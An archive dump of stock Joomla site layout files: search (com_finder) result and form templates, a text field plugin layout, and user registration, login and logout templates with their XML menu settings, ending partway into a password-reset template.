				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="list_limit"
				type="list"
				label="JGLOBAL_LIST_LIMIT"
				default="20"
				validate="options"
				>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="100">J100</option>
				<option value="0">JALL</option>
			</field>
			<field
				name="allow_empty_query"
				type="list"
				label="COM_FINDER_ALLOW_EMPTY_QUERY_LABEL"
				description="COM_FINDER_ALLOW_EMPTY_QUERY_DESC"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field
				name="show_suggested_query"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_SUGGESTED_QUERY_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field
				name="show_explained_query"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_EXPLAINED_QUERY_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field
				name="sort_order"
				type="list"
				label="COM_FINDER_CONFIG_SORT_ORDER_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="relevance">COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE</option>
				<option value="title">COM_FINDER_CONFIG_SORT_OPTION_TITLE</option>
				<option value="date">COM_FINDER_CONFIG_SORT_OPTION_START_DATE</option>
				<option value="price">COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE</option>
				<option value="sale_price">COM_FINDER_CONFIG_SORT_OPTION_SALES_PRICE</option>
			</field>
			<field
				name="show_sort_order"
				type="radio"
				label="COM_FINDER_CONFIG_SHOW_SORT_ORDER_LABEL"
				layout="joomla.form.field.radio.switcher"
				default="0"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="shown_sort_order"
				type="list"
				label="COM_FINDER_CONFIG_SORT_ORDER_FIELDS_LABEL"
				layout="joomla.form.field.list-fancy-select"
				multiple="true"
				validate="options"
				showon="show_sort_order:1"
				>
				<option value="relevance">COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE</option>
				<option value="title">COM_FINDER_CONFIG_SORT_OPTION_TITLE</option>
				<option value="date">COM_FINDER_CONFIG_SORT_OPTION_START_DATE</option>
				<option value="price">COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE</option>
				<option value="sale_price">COM_FINDER_CONFIG_SORT_OPTION_SALES_PRICE</option>
			</field>
			<field
				name="sort_direction"
				type="list"
				label="COM_FINDER_CONFIG_SORT_DIRECTION_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="desc">COM_FINDER_CONFIG_SORT_OPTION_DESCENDING</option>
				<option value="asc">COM_FINDER_CONFIG_SORT_OPTION_ASCENDING</option>
			</field>
		</fieldset>
		<fieldset name="integration">
			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				validate="options"
				class="form-select-color-state"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>
	</fields>
</metadata>
search/default.php000064400000002271151731051720010152 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$this->document->getWebAssetManager()
    ->useStyle('com_finder.finder')
    ->useScript('com_finder.finder');

?>
<div class="com-finder finder">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <h1>
            <?php if ($this->escape($this->params->get('page_heading'))) : ?>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            <?php else : ?>
                <?php echo $this->escape($this->params->get('page_title')); ?>
            <?php endif; ?>
        </h1>
    <?php endif; ?>
    <div id="search-form" class="com-finder__form">
        <?php echo $this->loadTemplate('form'); ?>
    </div>
    <?php // Load the search results layout if we are performing a search. ?>
    <?php if ($this->query->search === true) : ?>
        <div id="search-results" class="com-finder__results">
            <?php echo $this->loadTemplate('results'); ?>
        </div>
    <?php endif; ?>
</div>
search/default_result.php000064400000013413151731051720011550 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Finder\Administrator\Helper\LanguageHelper;
use Joomla\Component\Finder\Administrator\Indexer\Helper;
use Joomla\Component\Finder\Administrator\Indexer\Taxonomy;
use Joomla\String\StringHelper;

$user             = Factory::getApplication()->getIdentity();
$show_description = $this->params->get('show_description', 1);

if ($show_description) {
    // Calculate number of characters to display around the result
    $term_length = StringHelper::strlen($this->query->input);
    $desc_length = $this->params->get('description_length', 255);
    $pad_length  = $term_length < $desc_length ? (int) floor(($desc_length - $term_length) / 2) : 0;

    // Make sure we highlight term both in introtext and fulltext
    $full_description = $this->result->description;
    if (!empty($this->result->summary) && !empty($this->result->body)) {
        $full_description = Helper::parse($this->result->summary . $this->result->body);
    }

    // Find the position of the search term
    $pos = $term_length ? StringHelper::strpos(StringHelper::strtolower($full_description), StringHelper::strtolower($this->query->input)) : false;

    // Find a potential start point
    $start = ($pos && $pos > $pad_length) ? $pos - $pad_length : 0;

    // Find a space between $start and $pos, start right after it.
    $space = StringHelper::strpos($full_description, ' ', $start > 0 ? $start - 1 : 0);
    $start = ($space && $space < $pos) ? $space + 1 : $start;

    $description = HTMLHelper::_('string.truncate', StringHelper::substr($full_description, $start), $desc_length, true);
}

$showImage  = $this->params->get('show_image', 0);
$imageClass = $this->params->get('image_class', '');
$extraAttr  = [];

if ($showImage && !empty($this->result->imageUrl) && $imageClass !== '') {
    $extraAttr['class'] = $imageClass;
}

$icon = '';
if (!empty($this->result->mime)) {
    $icon = '<span class="icon-file-' . $this->result->mime . '" aria-hidden="true"></span> ';
}


$show_url = '';
if ($this->params->get('show_url', 1)) {
    $show_url = '<cite class="result__title-url">' . $this->baseUrl . Route::_($this->result->cleanURL) . '</cite>';
}
?>
<li class="result__item">
    <?php if ($showImage && isset($this->result->imageUrl)) : ?>
        <figure class="<?php echo htmlspecialchars($imageClass, ENT_COMPAT, 'UTF-8'); ?> result__image">
            <?php if ($this->params->get('link_image') && $this->result->route) : ?>
                <a href="<?php echo Route::_($this->result->route); ?>">
                    <?php echo HTMLHelper::_('image', $this->result->imageUrl, $this->result->imageAlt, $extraAttr, false, -1); ?>
                </a>
            <?php else : ?>
                <?php echo HTMLHelper::_('image', $this->result->imageUrl, $this->result->imageAlt, $extraAttr, false, -1); ?>
            <?php endif; ?>
        </figure>
    <?php endif; ?>
    <p class="result__title">
        <?php if ($this->result->route) : ?>
            <?php echo HTMLHelper::link(
                Route::_($this->result->route),
                '<span class="result__title-text">' . $icon . $this->result->title . '</span>' . $show_url,
                [
                            'class' => 'result__title-link'
                    ]
            ); ?>
        <?php else : ?>
            <?php echo $this->result->title; ?>
        <?php endif; ?>
    </p>
    <?php if ($show_description && $description !== '') : ?>
        <p class="result__description">
            <?php if ($this->result->start_date && $this->params->get('show_date', 1)) : ?>
                <time class="result__date" datetime="<?php echo HTMLHelper::_('date', $this->result->start_date, 'c'); ?>">
                    <?php echo HTMLHelper::_('date', $this->result->start_date, Text::_('DATE_FORMAT_LC3')); ?>
                </time>
            <?php endif; ?>
            <?php echo $description; ?>
        </p>
    <?php endif; ?>
    <?php $taxonomies = $this->result->getTaxonomy(); ?>
    <?php if (count($taxonomies) && $this->params->get('show_taxonomy', 1)) : ?>
        <ul class="result__taxonomy">
            <?php foreach ($taxonomies as $type => $taxonomy) : ?>
                <?php if ($type == 'Language' && (!Multilanguage::isEnabled() || (isset($taxonomy[0]) && $taxonomy[0]->title == '*'))) : ?>
                    <?php continue; ?>
                <?php endif; ?>
                <?php $branch = Taxonomy::getBranch($type); ?>
                <?php if ($branch->state == 1 && in_array($branch->access, $user->getAuthorisedViewLevels())) : ?>
                    <?php $taxonomy_text = []; ?>
                    <?php foreach ($taxonomy as $node) : ?>
                        <?php if ($node->state == 1 && in_array($node->access, $user->getAuthorisedViewLevels())) : ?>
                            <?php $taxonomy_text[] = $node->title; ?>
                        <?php endif; ?>
                    <?php endforeach; ?>
                    <?php if (count($taxonomy_text)) : ?>
                        <li class="result__taxonomy-item result__taxonomy--<?php echo $type; ?>">
                            <span><?php echo Text::_(LanguageHelper::branchSingular($type)); ?>:</span>
                            <?php echo Text::_(LanguageHelper::branchSingular(implode(',', $taxonomy_text))); ?>
                        </li>
                    <?php endif; ?>
                <?php endif; ?>
            <?php endforeach; ?>
        </ul>
    <?php endif; ?>
</li>
search/default_form.php000064400000007566151731051720011211 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/*
* This segment of code sets up the autocompleter.
*/
if ($this->params->get('show_autosuggest', 1)) {
    $this->document->getWebAssetManager()->usePreset('awesomplete');
    $this->document->addScriptOptions('finder-search', ['url' => Route::_('index.php?option=com_finder&task=suggestions.suggest&format=json&tmpl=component', false)]);

    Text::script('JLIB_JS_AJAX_ERROR_OTHER');
    Text::script('JLIB_JS_AJAX_ERROR_PARSE');
}

?>

<form action="<?php echo Route::_($this->query->toUri()); ?>" method="get" class="js-finder-searchform">
    <?php echo $this->getFields(); ?>
    <fieldset class="com-finder__search word mb-3">
        <legend class="com-finder__search-legend visually-hidden">
            <?php echo Text::_('COM_FINDER_SEARCH_FORM_LEGEND'); ?>
        </legend>
        <div class="form-inline">
            <label for="q" class="me-2">
                <?php echo Text::_('COM_FINDER_SEARCH_TERMS'); ?>
            </label>
            <div class="input-group">
                <input type="text" name="q" id="q" class="js-finder-search-query form-control" value="<?php echo $this->escape($this->query->input); ?>">
                <button type="submit" class="btn btn-primary">
                    <span class="icon-search icon-white" aria-hidden="true"></span>
                    <?php echo Text::_('JSEARCH_FILTER_SUBMIT'); ?>
                </button>
                <?php if ($this->params->get('show_advanced', 1)) : ?>
                    <?php HTMLHelper::_('bootstrap.collapse'); ?>
                    <button class="btn btn-secondary" type="button" data-bs-toggle="collapse" data-bs-target="#advancedSearch" aria-expanded="<?php echo ($this->params->get('expand_advanced', 0) ? 'true' : 'false'); ?>">
                        <span class="icon-search-plus" aria-hidden="true"></span>
                        <?php echo Text::_('COM_FINDER_ADVANCED_SEARCH_TOGGLE'); ?></button>
                <?php endif; ?>
            </div>
        </div>
    </fieldset>

    <?php if ($this->params->get('show_advanced', 1)) : ?>
        <fieldset id="advancedSearch" class="com-finder__advanced js-finder-advanced collapse<?php if ($this->params->get('expand_advanced', 0)) {
            echo ' show';
                                                                                             } ?>">
            <legend class="com-finder__search-advanced visually-hidden">
                <?php echo Text::_('COM_FINDER_SEARCH_ADVANCED_LEGEND'); ?>
            </legend>
            <?php if ($this->params->get('show_advanced_tips', 1)) : ?>
                <div class="com-finder__tips card card-outline-secondary mb-3">
                    <div class="card-body">
                        <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_INTRO'); ?>
                        <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_AND'); ?>
                        <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_NOT'); ?>
                        <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_OR'); ?>
                        <?php if ($this->params->get('tuplecount', 1) > 1) : ?>
                            <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_PHRASE'); ?>
                        <?php endif; ?>
                        <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_OUTRO'); ?>
                    </div>
                </div>
            <?php endif; ?>
            <div id="finder-filter-window" class="com-finder__filter">
                <?php echo HTMLHelper::_('filter.select', $this->query, $this->params); ?>
            </div>
        </fieldset>
    <?php endif; ?>
</form>
text.php000064400000000631151731122140006236 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Text
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$value = $field->value;

if ($value == '') {
    return;
}

if (is_array($value)) {
    $value = implode(', ', $value);
}

echo htmlentities($value);
registration/default.php000064400000004763151731211050011421 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="com-users-registration registration">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1><?php echo $this->escape($this->params->get('page_heading')); ?></h1>
        </div>
    <?php endif; ?>

    <form id="member-registration" action="<?php echo Route::_('index.php?option=com_users&task=registration.register'); ?>" method="post" class="com-users-registration__form form-validate" enctype="multipart/form-data">
        <?php // Iterate through the form fieldsets and display each one. ?>
        <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
            <?php if ($fieldset->name === 'captcha' && $this->captchaEnabled) : ?>
                <?php continue; ?>
            <?php endif; ?>
            <?php $fields = $this->form->getFieldset($fieldset->name); ?>
            <?php if (count($fields)) : ?>
                <fieldset>
                    <?php // If the fieldset has a label set, display it as the legend. ?>
                    <?php if (isset($fieldset->label)) : ?>
                        <legend><?php echo Text::_($fieldset->label); ?></legend>
                    <?php endif; ?>
                    <?php echo $this->form->renderFieldset($fieldset->name); ?>
                </fieldset>
            <?php endif; ?>
        <?php endforeach; ?>
        <?php if ($this->captchaEnabled) : ?>
            <?php echo $this->form->renderFieldset('captcha'); ?>
        <?php endif; ?>
        <div class="com-users-registration__submit control-group">
            <div class="controls">
                <button type="submit" class="com-users-registration__register btn btn-primary validate">
                    <?php echo Text::_('JREGISTER'); ?>
                </button>
                <input type="hidden" name="option" value="com_users">
                <input type="hidden" name="task" value="registration.register">
            </div>
        </div>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
registration/default.xml000064400000000475151731211050011426 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_REGISTRATION_VIEW_DEFAULT_TITLE" option="COM_USERS_REGISTRATION_VIEW_DEFAULT_OPTION">
		<help
			key="Menu_Item:_Registration_Form"
		/>
		<message>
			<![CDATA[COM_USERS_REGISTRATION_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
registration/complete.php000064400000001005151731211050011567 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<div class="com-users-registration-complete registration-complete">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <h1>
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    <?php endif; ?>
</div>
login/default_logout.php000064400000005341151731211050011401 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Users\Site\View\Login\HtmlView $this */
?>
<div class="com-users-logout logout">
    <?php if ($this->params->get('show_page_heading')) : ?>
    <div class="page-header">
        <h1>
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    </div>
    <?php endif; ?>

    <?php if (($this->params->get('logoutdescription_show') == 1 && str_replace(' ', '', $this->params->get('logout_description', '')) != '') || $this->params->get('logout_image') != '') : ?>
        <div class="com-users-logout__description logout-description">
    <?php endif; ?>

    <?php if ($this->params->get('logoutdescription_show') == 1) : ?>
        <?php echo $this->params->get('logout_description'); ?>
    <?php endif; ?>

    <?php if ($this->params->get('logout_image') != '') : ?>
        <?php echo HTMLHelper::_('image', $this->params->get('logout_image'), empty($this->params->get('logout_image_alt')) && empty($this->params->get('logout_image_alt_empty')) ? false : $this->params->get('logout_image_alt'), ['class' => 'com-users-logout__image thumbnail float-end logout-image']); ?>
    <?php endif; ?>

    <?php if (($this->params->get('logoutdescription_show') == 1 && str_replace(' ', '', $this->params->get('logout_description', '')) != '') || $this->params->get('logout_image') != '') : ?>
        </div>
    <?php endif; ?>

    <form action="<?php echo Route::_('index.php?option=com_users&task=user.logout'); ?>" method="post" class="com-users-logout__form form-horizontal well">
        <div class="com-users-logout__submit control-group">
            <div class="controls">
                <button type="submit" class="btn btn-primary">
                    <span class="icon-backward-2 icon-white" aria-hidden="true"></span>
                    <?php echo Text::_('JLOGOUT'); ?>
                </button>
            </div>
        </div>
        <?php if ($this->params->get('logout_redirect_url')) : ?>
            <input type="hidden" name="return" value="<?php echo base64_encode($this->params->get('logout_redirect_url', $this->form->getValue('return', null, ''))); ?>">
        <?php else : ?>
            <input type="hidden" name="return" value="<?php echo base64_encode($this->params->get('logout_redirect_menuitem', $this->form->getValue('return', null, ''))); ?>">
        <?php endif; ?>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
login/default_login.php000064400000014133151731211050011177 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Users\Site\View\Login\HtmlView $cookieLogin */

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

$usersConfig = ComponentHelper::getParams('com_users');

?>
<div class="com-users-login login">
    <?php if ($this->params->get('show_page_heading')) : ?>
    <div class="page-header">
        <h1>
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    </div>
    <?php endif; ?>

    <?php if (($this->params->get('logindescription_show') == 1 && str_replace(' ', '', $this->params->get('login_description', '')) != '') || $this->params->get('login_image') != '') : ?>
    <div class="com-users-login__description login-description">
    <?php endif; ?>

        <?php if ($this->params->get('logindescription_show') == 1) : ?>
            <?php echo $this->params->get('login_description'); ?>
        <?php endif; ?>

        <?php if ($this->params->get('login_image') != '') : ?>
            <?php echo HTMLHelper::_('image', $this->params->get('login_image'), empty($this->params->get('login_image_alt')) && empty($this->params->get('login_image_alt_empty')) ? false : $this->params->get('login_image_alt'), ['class' => 'com-users-login__image login-image']); ?>
        <?php endif; ?>

    <?php if (($this->params->get('logindescription_show') == 1 && str_replace(' ', '', $this->params->get('login_description', '')) != '') || $this->params->get('login_image') != '') : ?>
    </div>
    <?php endif; ?>

    <form action="<?php echo Route::_('index.php?option=com_users&task=user.login'); ?>" method="post" class="com-users-login__form form-validate form-horizontal well" id="com-users-login__form">

        <fieldset>
            <?php echo $this->form->renderFieldset('credentials', ['class' => 'com-users-login__input']); ?>

            <?php if (PluginHelper::isEnabled('system', 'remember')) : ?>
                <div class="com-users-login__remember">
                    <div class="form-check">
                        <input class="form-check-input" id="remember" type="checkbox" name="remember" value="yes">
                        <label class="form-check-label" for="remember">
                            <?php echo Text::_('COM_USERS_LOGIN_REMEMBER_ME'); ?>
                        </label>
                    </div>
                </div>
            <?php endif; ?>

            <?php foreach ($this->extraButtons as $button) :
                $dataAttributeKeys = array_filter(array_keys($button), function ($key) {
                    return substr($key, 0, 5) == 'data-';
                });
                ?>
                <div class="com-users-login__submit control-group">
                    <div class="controls">
                        <button type="button"
                                class="btn btn-secondary w-100 <?php echo $button['class'] ?? '' ?>"
                                <?php foreach ($dataAttributeKeys as $key) : ?>
                                    <?php echo $key ?>="<?php echo $button[$key] ?>"
                                <?php endforeach; ?>
                                <?php if ($button['onclick']) : ?>
                                onclick="<?php echo $button['onclick'] ?>"
                                <?php endif; ?>
                                title="<?php echo Text::_($button['label']) ?>"
                                id="<?php echo $button['id'] ?>"
                        >
                            <?php if (!empty($button['icon'])) : ?>
                                <span class="<?php echo $button['icon'] ?>"></span>
                            <?php elseif (!empty($button['image'])) : ?>
                                <?php echo HTMLHelper::_('image', $button['image'], Text::_($button['tooltip'] ?? ''), [
                                    'class' => 'icon',
                                ], true) ?>
                            <?php elseif (!empty($button['svg'])) : ?>
                                <?php echo $button['svg']; ?>
                            <?php endif; ?>
                            <?php echo Text::_($button['label']) ?>
                        </button>
                    </div>
                </div>
            <?php endforeach; ?>

            <div class="com-users-login__submit control-group">
                <div class="controls">
                    <button type="submit" class="btn btn-primary">
                        <?php echo Text::_('JLOGIN'); ?>
                    </button>
                </div>
            </div>

            <?php $return = $this->form->getValue('return', '', $this->params->get('login_redirect_url', $this->params->get('login_redirect_menuitem', ''))); ?>
            <input type="hidden" name="return" value="<?php echo base64_encode($return); ?>">
            <?php echo HTMLHelper::_('form.token'); ?>
        </fieldset>
    </form>
    <div class="com-users-login__options list-group">
        <a class="com-users-login__reset list-group-item" href="<?php echo Route::_('index.php?option=com_users&view=reset'); ?>">
            <?php echo Text::_('COM_USERS_LOGIN_RESET'); ?>
        </a>
        <a class="com-users-login__remind list-group-item" href="<?php echo Route::_('index.php?option=com_users&view=remind'); ?>">
            <?php echo Text::_('COM_USERS_LOGIN_REMIND'); ?>
        </a>
        <?php if ($usersConfig->get('allowUserRegistration')) : ?>
            <a class="com-users-login__register list-group-item" href="<?php echo Route::_('index.php?option=com_users&view=registration'); ?>">
                <?php echo Text::_('COM_USERS_LOGIN_REGISTER'); ?>
            </a>
        <?php endif; ?>
    </div>
</div>
login/default.php000064400000001156151731211050010010 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var \Joomla\Component\Users\Site\View\Login\HtmlView $this */

$cookieLogin = $this->user->get('cookieLogin');

if (!empty($cookieLogin) || $this->user->get('guest')) {
    // The user is not logged in or needs to provide a password.
    echo $this->loadTemplate('login');
} else {
    // The user is already logged in.
    echo $this->loadTemplate('logout');
}
login/default.xml000064400000011344151731211050010021 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_LOGIN_VIEW_DEFAULT_TITLE" option="COM_USERS_LOGIN_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Login_Form"
		/>
		<message>
			<![CDATA[COM_USERS_LOGIN_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="basic" addruleprefix="Joomla\Component\Users\Site\Rule" label="COM_MENUS_BASIC_FIELDSET_LABEL">
			<fieldset name="login" label="COM_USERS_FIELD_OPTIONS_LOGIN">
				<field
					name="loginredirectchoice"
					type="radio"
					label="COM_USERS_FIELD_LOGIN_REDIRECT_CHOICE_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					>
					<option value="0">COM_USERS_FIELD_LOGIN_URL</option>
					<option value="1">COM_USERS_FIELD_LOGIN_MENUITEM</option>
				</field>

				<field
					name="login_redirect_url"
					type="text"
					label="JFIELD_LOGIN_REDIRECT_URL_LABEL"
					description="JFIELD_LOGIN_REDIRECT_URL_DESC"
					validate="LoginUniqueField"
					field="login_redirect_menuitem"
					hint="COM_USERS_FIELD_LOGIN_REDIRECT_PLACEHOLDER"
					message="COM_USERS_FIELD_LOGIN_REDIRECT_ERROR"
					showon="loginredirectchoice:0"
				/>

				<field
					name="login_redirect_menuitem"
					type="modal_menu"
					label="COM_USERS_FIELD_LOGIN_REDIRECTMENU_LABEL"
					description="COM_USERS_FIELD_LOGIN_REDIRECTMENU_DESC"
					disable="separator,alias,heading,url"
					showon="loginredirectchoice:1"
					select="true"
					new="true"
					edit="true"
					clear="true"
					>
					<option value="">JOPTION_SELECT_MENU</option>
				</field>

				<field
					name="logindescription_show"
					type="list"
					label="JFIELD_BASIC_LOGIN_DESCRIPTION_SHOW_LABEL"
					default="1"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="login_description"
					type="textarea"
					label="JFIELD_BASIC_LOGIN_DESCRIPTION_LABEL"
					rows="3"
					cols="40"
					filter="safehtml"
					showon="logindescription_show:1"
				/>

				<field
					name="login_image"
					type="media"
					schemes="http,https,ftp,ftps,data,file"
					validate="url"
					relative="true"
					label="JFIELD_LOGIN_IMAGE_LABEL"
				/>

				<field
					name="login_image_alt"
					type="text"
					label="COM_USERS_FIELD_IMAGE_ALT_LABEL"
				/>

				<field
					name="login_image_alt_empty"
					type="checkbox"
					label="COM_USERS_FIELD_IMAGE_ALT_EMPTY_LABEL"
					description="COM_USERS_FIELD_IMAGE_ALT_EMPTY_DESC"
				/>
			</fieldset>

			<fieldset name="logout" label="COM_USERS_FIELD_OPTIONS_LOGOUT">
				<field
					name="logoutredirectchoice"
					type="radio"
					label="COM_USERS_FIELD_LOGOUT_REDIRECT_CHOICE_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					>
					<option value="0">COM_USERS_FIELD_LOGIN_URL</option>
					<option value="1">COM_USERS_FIELD_LOGIN_MENUITEM</option>
				</field>

				<field
					name="logout_redirect_url"
					type="text"
					label="JFIELD_LOGOUT_REDIRECT_URL_LABEL"
					field="logout_redirect_menuitem"
					validate="LogoutUniqueField"
					hint="COM_USERS_FIELD_LOGIN_REDIRECT_PLACEHOLDER"
					message="COM_USERS_FIELD_LOGOUT_REDIRECT_ERROR"
					showon="logoutredirectchoice:0"
				/>

				<field
					name="logout_redirect_menuitem"
					type="modal_menu"
					label="COM_USERS_FIELD_LOGOUT_REDIRECTMENU_LABEL"
					description="COM_USERS_FIELD_LOGOUT_REDIRECTMENU_DESC"
					disable="separator,alias,heading,url"
					showon="logoutredirectchoice:1"
					select="true"
					new="true"
					edit="true"
					clear="true"
					>
					<option value="">JOPTION_SELECT_MENU</option>
				</field>

				<field
					name="logoutdescription_show"
					type="list"
					label="JFIELD_BASIC_LOGOUT_DESCRIPTION_SHOW_LABEL"
					default="1"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="logout_description"
					type="textarea"
					label="JFIELD_BASIC_LOGOUT_DESCRIPTION_LABEL"
					rows="3"
					cols="40"
					filter="safehtml"
					showon="logoutdescription_show:1"
				/>

				<field
					name="logout_image"
					type="media"
					schemes="http,https,ftp,ftps,data,file"
					validate="url"
					relative="true"
					label="JFIELD_LOGOUT_IMAGE_LABEL"
				/>

				<field
					name="logout_image_alt"
					type="text"
					label="COM_USERS_FIELD_IMAGE_ALT_LABEL"
				/>

				<field
					name="logout_image_alt_empty"
					type="checkbox"
					label="COM_USERS_FIELD_IMAGE_ALT_EMPTY_LABEL"
					description="COM_USERS_FIELD_IMAGE_ALT_EMPTY_DESC"
				/>
			</fieldset>
		</fieldset>
	</fields>
</metadata>
login/logout.xml000064400000001755151731211050007713 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_LOGOUT_VIEW_DEFAULT_TITLE" option="COM_USERS_LOGOUT_VIEW_DEFAULT_OPTION">
		<help key = "Menu_Item:_Logout"/>
		<message>
			<![CDATA[COM_USERS_LOGOUT_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request">
			<field
				name="task"
				type="hidden"
				default="user.menulogout"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="COM_MENUS_BASIC_FIELDSET_LABEL">
			<field
				name="logout"
				type="modal_menu"
				label="JFIELD_LOGOUT_REDIRECT_PAGE_LABEL"
				description="JFIELD_LOGOUT_REDIRECT_PAGE_DESC"
				disable="separator,alias,heading,url"
				select="true"
				new="true"
				edit="true"
				clear="true"
				>
				<option value="">JOPTION_SELECT_MENU</option>
			</field>
		</fieldset>
	</fields>
</metadata>
reset/confirm.php000064400000003306151731211050010032 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

